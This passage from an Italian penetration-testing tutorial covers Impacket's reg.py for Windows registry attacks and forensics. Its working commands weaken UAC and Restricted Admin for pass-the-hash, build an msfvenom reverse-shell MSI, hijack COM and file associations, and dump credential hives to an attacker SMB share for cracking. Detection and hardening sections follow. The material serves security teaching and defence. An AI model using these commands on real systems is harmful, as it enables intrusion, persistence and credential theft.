8.4 UAC, Restricted Admin e LocalAccountTokenFilterPolicy #

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

Valori chiave: EnableLUA (UAC attivo/disattivo), LocalAccountTokenFilterPolicy (se 1, un admin locale remoto ottiene token completo invece che filtrato — abilita PsExec/WMI lateral movement con account locali), FilterAdministratorToken.

Verifica lo stato attuale:

reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"

Abilita il bypass per il lateral movement (in lab, per dimostrare l’impatto su una rete con più admin locali con stessa password):

reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -v LocalAccountTokenFilterPolicy -vt REG_DWORD -vd 1

Con questa chiave a 1, un admin locale (non il built-in Administrator, RID 500) autenticato via PsExec/WMI/SMB da remoto ottiene un token pieno invece che filtrato da UAC — condizione necessaria per molte tecniche di pass-the-hash su lateral movement.

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin

Controlla se RDP accetta l’autenticazione Restricted Admin Mode (pass-the-hash via RDP).

Abilitala per testare il pass-the-hash via RDP:

reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -v DisableRestrictedAdmin -vt REG_DWORD -vd 0

0 abilita Restricted Admin Mode (il nome è controintuitivo: “disable” a 0 significa che la modalità restricted admin NON è disabilitata, quindi è attiva). Con questa attiva, xfreerdp /pth autentica via RDP usando solo l’hash NTLM, senza mai passare la password in chiaro.

8.5 AlwaysInstallElevated #

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

Se entrambe le chiavi sono a 1, qualsiasi utente può installare pacchetti .msi con privilegi SYSTEM — una delle escalation più dirette e più spesso dimenticate in hardening.

reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" -s

Attiva entrambe le chiavi per dimostrare l’escalation in lab (in scenario reale devono già esistere così, create da un admin per errore — non le crei tu su un target di un test autorizzato senza motivo):

reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" -v AlwaysInstallElevated -vt REG_DWORD -vd 1
reg.py CORP/utente:Password1@10.10.10.5 add -keyName "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" -v AlwaysInstallElevated -vt REG_DWORD -vd 1

Sfruttamento (con entrambe a 1, un MSI malevolo installa come SYSTEM anche lanciato da un utente standard):

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o payload.msi
msiexec /quiet /qn /i payload.msi

9. COM Hijacking e File Association Hijacking #

9.1 COM Hijacking #

MITRE ATT&CK: T1546.015. Il Component Object Model è l’infrastruttura con cui i programmi Windows si scambiano funzionalità. Ogni componente COM è identificato da un CLSID (GUID), mappato nel registro a un DLL (InprocServer32) o eseguibile (LocalServer32).

HKCR\CLSID\{CLSID}\InprocServer32\(Default) = C:\Windows\System32\qualchecosa.dll
HKCR\CLSID\{CLSID}\ProgID = NomeLeggibile.Application

Perché è sfruttabile: Windows risolve prima HKCU\Software\Classes\CLSID e solo dopo HKLM\Software\Classes\CLSID. Un utente non amministratore può creare una voce sotto la propria HKCU che punta a un CLSID legittimo, e Windows userà quella — senza privilegi elevati.

# Verifica se un CLSID esiste già sotto HKCU (se manca, è "hijackable")
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}"

Il CLSID {42aedc87-2188-41fd-b9a3-0c966feabec1} (MruPidlList) è tra i più usati in campagne reali perché caricato da explorer.exe a ogni logon.

Sfruttamento:

reg add "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\payload.dll" /f
reg add "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f

Copia ThreadingModel esattamente dalla registrazione HKLM originale, altrimenti l’attivazione si rompe (crash visibile).

Variante stealth — TreatAs: fa “trattare” un CLSID come un altro, meno monitorata di InprocServer32:

reg add "HKCU\Software\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f

Detection: monitora creazione chiavi sotto HKCU\Software\Classes\CLSID\* (Sysmon Event ID 13); un CLSID che dovrebbe esistere solo in HKLM ma compare in HKCU è un forte indicatore; costruisci una baseline (installazioni/update legittimi modificano COM regolarmente).

9.2 File Association Hijacking #

HKCR\<progid>\shell\open\command

Esempio: HKCR\txtfile\shell\open\command\(Default) = "%SystemRoot%\system32\NOTEPAD.EXE" "%1".

Se questo comando viene sostituito, ogni doppio click su quel tipo di file esegue il payload — spesso il payload rilancia l’app originale per non destare sospetti (payload.exe "%1" → poi invoca notepad).

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCR\txtfile\shell\open\command"

Sfruttamento — dirotta l’apertura dei file .txt:

reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKCU\Software\Classes\txtfile\shell\open\command" -v "" -vt REG_SZ -vd 'C:\Users\Public\payload.exe "%1"'

Nota: scrivi sotto HKCU\Software\Classes, non HKCR direttamente — HKCR è una vista in sola lettura risultante dal merge di HKLM e HKCU\Software\Classes (vedi tabella hive in sezione 1). Windows risolve prima la versione HKCU, quindi anche senza privilegi admin la tua entry ha priorità. Il payload riceve il path del file originale come %1 e tipicamente rilancia notepad dopo l’esecuzione, per non destare sospetti nella vittima.

Caso critico: l’associazione dell’estensione .exe stessa (HKCR\exefile\shell\open\command) — se alterata, ogni eseguibile lanciato con doppio click passa dal payload, colpendo l’intera superficie di esecuzione dell’utente.

10. Accesso remoto: RDP, WinRM, LAPS #

Tre servizi di accesso remoto, tre chiavi da controllare prima di pianificare lateral movement o pass-the-hash:

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WinRM\Service"
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS"

11. Forensics e DFIR — evidence of execution #

Il registro tiene traccia, spesso in modo ridondante, di quali programmi sono stati eseguiti, quando e quante volte. Questi artefatti sono il cuore del DFIR e servono anche a capire se sei stato preceduto da un altro attaccante.

11.1 ShellBags — tracce di navigazione delle cartelle #

Registrano dettagli su ogni cartella aperta in Explorer, anche se la cartella o l’unità non esiste più.

C:\Users\<utente>\AppData\Local\Microsoft\Windows\UsrClass.dat

HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\Bags
HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU

Punto pratico: da remoto via reg.py non hai un “HKCR” magico dell’altro utente — passa per HKU\<SID-utente>_Classes\..., la vista caricata di UsrClass.dat di quello specifico utente. Se il SID non ha un profilo _Classes caricato, l’hive va estratta offline dal file su disco.

Uso pratico: ricostruire quali share/dischi esterni l’utente ha navigato, individuare cartelle sospette lasciate da un attaccante precedente.

reg.py CORP/admin:Password123@10.10.10.5 save -keyName 'HKU\<SID-utente>_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU' -o '\\10.10.14.5\share\bagmru.save'

Analisi con ShellBags Explorer (Eric Zimmerman tools).

11.2 UserAssist — GUI apps con conteggio esecuzioni #

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count

Traccia programmi lanciati dalla GUI di Explorer, con conteggio esecuzioni e timestamp. Nomi cifrati con ROT13.

Due GUID principali:

• {CEBFF5CD-ACE2-4F4F-9178-9926F41749EA} — esecuzione diretta .exe
• {F4E57C4B-2036-45F0-A9AB-443BCFE33D9F} — esecuzione tramite .lnk

function Decode-ROT13 {
    param($string)
    $string.ToCharArray() | ForEach-Object {
        if ([char]::IsLetter($_)) {
            $code = [int][char]$_
            if (($code -ge 65 -and $code -le 77) -or ($code -ge 97 -and $code -le 109)) { $code += 13 } else { $code -= 13 }
            [char]$code
        } else { $_ }
    } -join ''
}
Decode-ROT13 "abgrcnq.rkr"   # -> notepad.exe

Limite: traccia solo applicazioni GUI lanciate da Explorer. Nulla da riga di comando, script o task schedulati.

11.3 ShimCache (AppCompatCache) #

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache

Registra metadata (percorso, dimensione, data modifica) di qualsiasi eseguibile, anche solo visualizzato in Explorer senza esecuzione. Scritto al riavvio/spegnimento — istantanea dell’ultimo stato pre-shutdown. Può conservare traccia di un tool anche dopo la sua cancellazione dal disco.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" -s

Parsing con AppCompatCacheParser:

AppCompatCacheParser.exe -f SYSTEM --csv output_dir

11.4 Amcache — l’artefatto più ricco #

C:\Windows\AppCompat\Programs\Amcache.hve

Hive separata (non chiave registro classica). Contiene percorso, publisher, timestamp prima esecuzione, e hash SHA-1 — verificabile su VirusTotal. Più affidabile di ShimCache perché registra il primo avvio in tempo reale.

Conviene recuperare il file via SMB (smbclient.py) piuttosto che save di reg.py, pensato per chiavi nell’albero standard.

Parsing con AmcacheParser:

AmcacheParser.exe -f Amcache.hve --csv output_dir

11.5 BAM / DAM #

HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\<SID>
HKLM\SYSTEM\CurrentControlSet\Services\dam\UserSettings\<SID>

Tracciano eseguibili girati di recente, per SID utente. Si azzerano al riavvio o dopo ~7 giorni — utile solo per attività molto recente, complementare a ShimCache/Amcache.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\S-1-5-21-XXXX" -s

11.6 RecentDocs, TypedPaths, TypedURLs, MRU #

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedURLs

RecentDocs = evidenza di accesso, non esecuzione. TypedPaths = percorsi digitati in Explorer. TypedURLs = stesso per IE/Edge legacy.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

11.7 MountPoints2 — USB e share di rete montate #

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

Ogni volume montato dall’utente corrente: USB (GUID/serial), dischi esterni, share mappate. Combinato con HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR (enumerazione generale) e HKLM\SYSTEM\MountedDevices (a livello macchina, vista in persistenza), permette di correlare utente-dispositivo-tempo.

11.8 Wi-Fi profiles — reti viste dalla macchina #

HKLM\SOFTWARE\Microsoft\WlanSvc\Interfaces\<GUID interfaccia>\Profiles

Elenca SSID a cui la macchina si è connessa nel tempo, con dati come timestamp e tipo di autenticazione. La password della rete non sta qui in chiaro: è cifrata con DPAPI e vive in un file XML sotto C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\<GUID>\. Il registro ti dice “quali reti”, non “con quale password” — utile comunque per capire dove è stata la macchina (ufficio, casa, hotel) e se si è mai collegata a reti pubbliche non sicure.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\WlanSvc\Interfaces" -s

11.9 RDP Servers — a quali macchine si è connesso l’utente #

HKCU\Software\Microsoft\Terminal Server Client\Servers

Ogni sottochiave è un hostname o IP a cui l’utente si è connesso con il client RDP (mstsc.exe). In un pentest questo ti dice quali altre macchine quell’utente amministra o usa regolarmente — spesso il primo indizio per capire dove muoversi lateralmente dopo aver compromesso un account con privilegi.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Terminal Server Client\Servers" -s

Se l’utente ha abilitato “ricorda le mie credenziali” per una di quelle connessioni, la password è cifrata via DPAPI e vive nel Credential Manager (non nel registro), ma la presenza della entry qui ti conferma che quella funzione è stata usata almeno una volta per quell’host.

11.10 Office — file recenti (File MRU) #

HKCU\Software\Microsoft\Office\<versione>\<applicazione>\File MRU

Esempio concreto per Excel su Office 2016+:

HKCU\Software\Microsoft\Office\16.0\Excel\File MRU

Elenca gli ultimi file aperti in ogni applicazione Office, con percorso completo — inclusi file su share di rete o percorsi che potrebbero non esistere più. Utile perché, in molte aziende, fogli Excel o documenti Word contengono ancora credenziali o dati sensibili salvati “temporaneamente”: sapere quali documenti un utente ha aperto di recente indica dove cercare quel tipo di informazione.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Office\16.0\Excel\File MRU" -s

12. Workflow completo: da reg.py a secretsdump, e cracking #

12.1 Dump credenziali locali #

# 1. Server SMB locale per ricevere le hive
smbserver.py -smb2support share ./loot

# 2. Backup delle hive dal target
reg.py CORP/admin:Password123@10.10.10.5 backup -o '\\10.10.14.5\share'

# 3. Estrazione offline, mai in chiaro sul target
secretsdump.py -sam ./loot/SAM.save -system ./loot/SYSTEM.save -security ./loot/SECURITY.save LOCAL

Più silenzioso rispetto a lanciare secretsdump direttamente da remoto in modalità completa.

12.2 Scenario Backup Operators (senza essere admin) #

Se il tuo utente è membro di Backup Operators ma non admin locale, hai comunque SeBackupPrivilege, che permette di leggere SAM/SYSTEM/SECURITY ignorando le ACL standard.

reg.py peter:'Password123'@10.10.10.5 backup -o '\\10.10.14.5\share'

Dalle hive estratte puoi risalire all’hash macchina o utenti locali, e verificare l’hash dell’account macchina con wmiexec per movimento laterale, se il target è un domain controller.

12.3 Dagli hash alla password: cracking #

Output tipico di secretsdump:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Formato utente:RID:hash-LM:hash-NTLM:::. Isola l’hash NTLM:

echo -n "8846f7eaee8fb117ad06bdd830b7586c" > hash.txt

Hashcat (modalità 1000 = NTLM):

hashcat -m 1000 hash.txt wordlist.txt

John the Ripper:

john --format=nt --wordlist=wordlist.txt hash.txt

Se l’hash LM non è aad3b435b51404eeaad3b435b51404ee (costante per “nessuna password LM”), il vecchio formato LM è ancora attivo — craccalo per primo, riduce lo spazio di ricerca anche per l’NTLM corrispondente.

Con la password ottenuta, verifica su altri servizi:

evil-winrm -i 10.10.10.5 -u Administrator -p 'PasswordTrovata'

13. Detection, log e hardening #

13.1 Rilevamento e log generati #

reg.py, come tutti gli script Impacket, lascia tracce negli Event Log:

• Event ID 5145 — accesso alla named pipe \winreg
• Event ID 4656/4658 — apertura/chiusura handle su chiave di registro
• Avvio/arresto del servizio RemoteRegistry se non era attivo (Event ID 7036)

Un’attività di query/save massiva sulla pipe \winreg da un host che normalmente non fa amministrazione remota, seguita da traffico SMB verso l’esterno, è un forte indicatore di dump di credenziali in corso.

13.2 Hardening difensivo #

• Disabilita il servizio Remote Registry sugli host che non ne hanno bisogno operativo
• Restringi l’accesso a \winreg tramite HKLM\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg\AllowedPaths
• Imposta LocalAccountTokenFilterPolicy a 0 (default) per evitare lateral movement con admin locali condivisi
• Elimina AlwaysInstallElevated da HKLM e HKCU
• Imposta UseLogonCredential a 0 in WDigest (default moderno, verifica su host legacy)
• Abilita RunAsPPL per proteggere LSASS, e Credential Guard dove l’hardware lo supporta
• Monitora Event ID 5145 su \winreg con alerting SIEM per accessi anomali
• Applica privilegio minimo su Backup Operators — equivalente a un percorso verso Domain Admin se combinato con SeBackupPrivilege
• Audita periodicamente le ACL sotto HKLM\SYSTEM\CurrentControlSet\Services con AccessChk o PowerUp
• Non installare servizi custom con permessi ereditati troppo larghi
• Tratta ShellBags come dato sensibile in un IR: mostrano quali share/dischi l’attaccante ha esplorato

14. Checklist operativa #

1. Verifica accesso SMB/445 e credenziali disponibili (password, hash, ticket)
2. Enumera prima l’identità della macchina (OS, computername, rete)
3. Query preliminare su chiavi di configurazione (WDigest, RunAsPPL, AlwaysInstallElevated, LocalAccountTokenFilterPolicy, RestrictedAdmin)
4. Controlla le ACL sulle chiavi Services con Get-Acl se cerchi privesc locale
5. Verifica IFEO e COM registration sospette se il target ha già mostrato segni di compromissione
6. Se serve dump credenziali: avvia smbserver.py locale, poi reg.py backup
7. Analizza le hive offline con secretsdump — includi LSA Secrets e Cached Domain Credentials, non solo SAM
8. Se rilevante, estrai ShellBags, UserAssist, ShimCache/Amcache per ricostruire attività storica
9. Documenta ogni chiave modificata con add/delete per il ripristino post-test
10. Segnala nel report le chiavi di hardening mancanti, non solo le credenziali estratte

FAQ #

reg.py funziona senza privilegi di amministratore? Per query su chiavi non protette sì, ma per SAM/SECURITY servono privilegi elevati o SeBackupPrivilege.

È rilevabile da un EDR? Il traffico SMB/RPC verso \winreg è visibile a livello di rete e di Event Log; un EDR moderno con regole su accesso a hive sensibili lo segnala.

Che differenza c’è tra save e backup? save esporta una singola chiave a scelta, backup è dedicato a SAM+SYSTEM+SECURITY in un’unica chiamata.

Serve installare Impacket sul target? No, reg.py gira dalla macchina attaccante e comunica via rete con il servizio Remote Registry nativo di Windows.

Che differenza c’è tra HKCU e HKU? HKCU è l’HKCU dell’utente con cui ti sei autenticato; HKU contiene i profili di tutti gli utenti loggati, indicizzati per SID.

Che differenza c’è tra DCC2 e un hash NTLM? L’hash NTLM può essere usato per pass-the-hash; DCC2 no — serve solo a verificare offline una password digitata, va craccato.

ShimCache prova che un file è stato eseguito? Non da solo: può registrare un file anche solo visto in Explorer. Va incrociato con Amcache, Prefetch o Event Log.

Quando NON conviene usare reg.py? Se hai già una shell interattiva SYSTEM, reg.exe nativo o PowerShell diretto sono più veloci e generano meno traffico osservabile; reg.py ha senso operando da remoto senza shell.

Le weak registry permissions sono comuni in ambienti reali? Meno che in passato, ma frequenti su servizi custom di terze parti (software gestionali, agent di monitoraggio) senza ACL esplicite in fase di setup.

Cheat Sheet — tabella riassuntiva delle chiavi trattate #

Conclusione #

REG.PY è uno strumento compatto ma centrale in ogni fase avanzata di un penetration test su ambienti Windows e Active Directory: dal recon di configurazioni deboli, al dump di credenziali, fino alla verifica di persistenza. Conoscere a memoria le chiavi di registro più importanti vale tanto quanto conoscere il tool stesso: è questa conoscenza che può trasformare un semplice accesso SMB in una completa valutazione della sicurezza del sistema durante un’attività autorizzata.

Il Windows Registry rappresenta uno dei componenti più importanti del sistema operativo Windows e comprenderne il funzionamento è fondamentale sia per chi si occupa di Red Team, sia per professionisti Blue Team, analisti DFIR e amministratori di sistema. Attraverso REG.PY abbiamo esplorato tecniche di enumerazione, amministrazione remota, persistenza, analisi forense e configurazione del registro, evidenziando non solo le potenzialità dello strumento ma anche le relative contromisure difensive e le metodologie di rilevamento.

Per approfondire l’intera toolchain dedicata ai test di sicurezza su Windows e Active Directory, consulta anche gli articoli su SecretsDump, Rubeus e Credential Dumping.

Disclaimer: Tutte le informazioni, gli esempi e le tecniche illustrate in questo articolo sono pubblicati esclusivamente a scopo educativo, didattico e di ricerca sulla sicurezza informatica. Qualsiasi attività deve essere svolta solo su sistemi di propria proprietà o per i quali si dispone di un’esplicita autorizzazione. L’utilizzo improprio delle conoscenze descritte può violare normative vigenti e causare danni a persone o organizzazioni. Hackita non incoraggia né supporta attività non autorizzate o illecite e declina ogni responsabilità per eventuali utilizzi impropri dei contenuti pubblicati.

Risorse esterne #

• Impacket — reg.py source, GitHub Fortra
• Exploit Notes — Registry Keys